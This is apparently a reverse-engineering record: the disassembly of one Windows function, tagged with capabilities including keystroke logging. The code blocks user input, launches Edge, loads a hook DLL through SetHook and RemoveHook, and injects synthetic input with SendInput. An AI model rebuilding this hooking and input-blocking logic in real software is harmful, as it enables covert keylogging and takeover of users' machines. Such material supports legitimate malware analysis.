Function at 0x407160
Capabilities:
Check if file exists
Create process on windows
Create thread
Get file attributes
Log keystrokes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442aad
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x78
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x45b914], 0
jne 0x4071b1
mov eax, 2
jmp 0x4075f3
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 0
call esi
push 0x45b904
lea ecx, [ebp - 0x2c]
mov dword [0x45b8fc], 0
mov dword [0x45b9bc], 0
mov dword [0x45b9c0], 0
call fcn.004094e0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
mov eax, ecx
mov edi, dword [ebp - 0x1c]
sub eax, edi
cmp eax, 0xb
jb 0x40722e
cmp ecx, 8
lea esi, [ebp - 0x2c]
lea eax, [edi + 0xb]
cmovae esi, dword [ebp - 0x2c]
push 0x16
mov dword [ebp - 0x1c], eax
push str.msedge.exe
lea eax, [esi + edi*2]
push eax
call fcn.00423fe0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0x16], ax
mov esi, dword [sym.imp.USER32.dll_BlockInput]
jmp 0x407246
push 0xb
push str.msedge.exe
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x30]
push 0xb
call fcn.00409de0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407277
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x407277
push 0x1c
push str.microsoft_edge:_about:blank_
lea ecx, [ebp - 0x2c]
call fcn.00409750
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x88]
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x88], 0x3c
mov dword [ebp - 0x84], 0x40
mov dword [ebp - 0x7c], str.open
mov dword [ebp - 0x74], str.about:blank
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 3
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40752a
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xc8
mov ecx, 1
call fcn.00402290
mov ecx, 1
call fcn.004023b0
push 1
call edi
sub esi, 1
jne 0x407302
push 0x12c
call edi
push 0x12c
mov dword [0x45b9bc], 1
call edi
lea ecx, [esi + 1]
call fcn.004023b0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push dword [0x45b8fc]
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
push eax
push esi
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor ecx, ecx
call fcn.00402290
cmp dword [0x45b8fc], 0
jne 0x407379
mov esi, 4
jmp 0x4075bb
push str.hookDll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetHook
push eax
mov dword [0x45b964], eax
call esi
mov dword [0x45b9b8], eax
call eax
push 0
push 0
push 7
push dword [0x45b8fc]
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [0x45b964]
test eax, eax
je 0x4073ec
push str.RemoveHook
push eax
call esi
mov dword [0x45b9b8], eax
test eax, eax
je 0x4073ec
call eax
push dword [0x45b964]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x45b9b8], 0
mov dword [0x45b964], 0
push 0x12c
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x40], 0
call esi
mov ecx, eax
mov eax, 0x10000
cdq
idiv ecx
push 1
imul ecx, eax, 0x1f4
mov dword [ebp - 0x48], ecx
call esi
mov ecx, eax
mov esi, dword [sym.imp.USER32.dll_SendInput]
mov eax, 0x10000
mov dword [ebp - 0x3c], 0x8003
cdq
idiv ecx
push 0x1c
imul eax, eax, 0x12c
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x4c]
push eax
push 1
call esi
push 0x32
call edi
push 0x1c
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push eax
push 1
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x3c], 4
call esi
push 0xfa
call edi
push 0
push 0
push 0x402a60
call fcn.00427983
add esp, 0xc
mov dword [0x45b8ec], eax
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x9c4
call edi
call fcn.00405100
push 0x3e8
mov dword [0x45b9c0], 1
mov dword [0x45b9bc], 1
call edi
xor ecx, ecx
call fcn.00402290
xor ecx, ecx
call fcn.004023b0
mov esi, dword [0x45b8fc]
test esi, esi
je 0x407520
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407508
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407520
push 0
push 0
push 2
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov esi, 1
jmp 0x4075bb
xor ecx, ecx
mov dword [0x45b9bc], 1
call fcn.00402290
mov esi, dword [0x45b8fc]
test esi, esi
je 0x40757e
push esi
call dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x40756a
push 0
push 0
push 0x10
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40757e
push 0
push 0
push 2
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xa
movups xmmword [ecx], xmm0
push 0x4515f4
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00409b40
call fcn.00401f30
add esp, 0x18
mov esi, 3
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x4075f1
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4075e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407611
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a3ca
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042731b
int3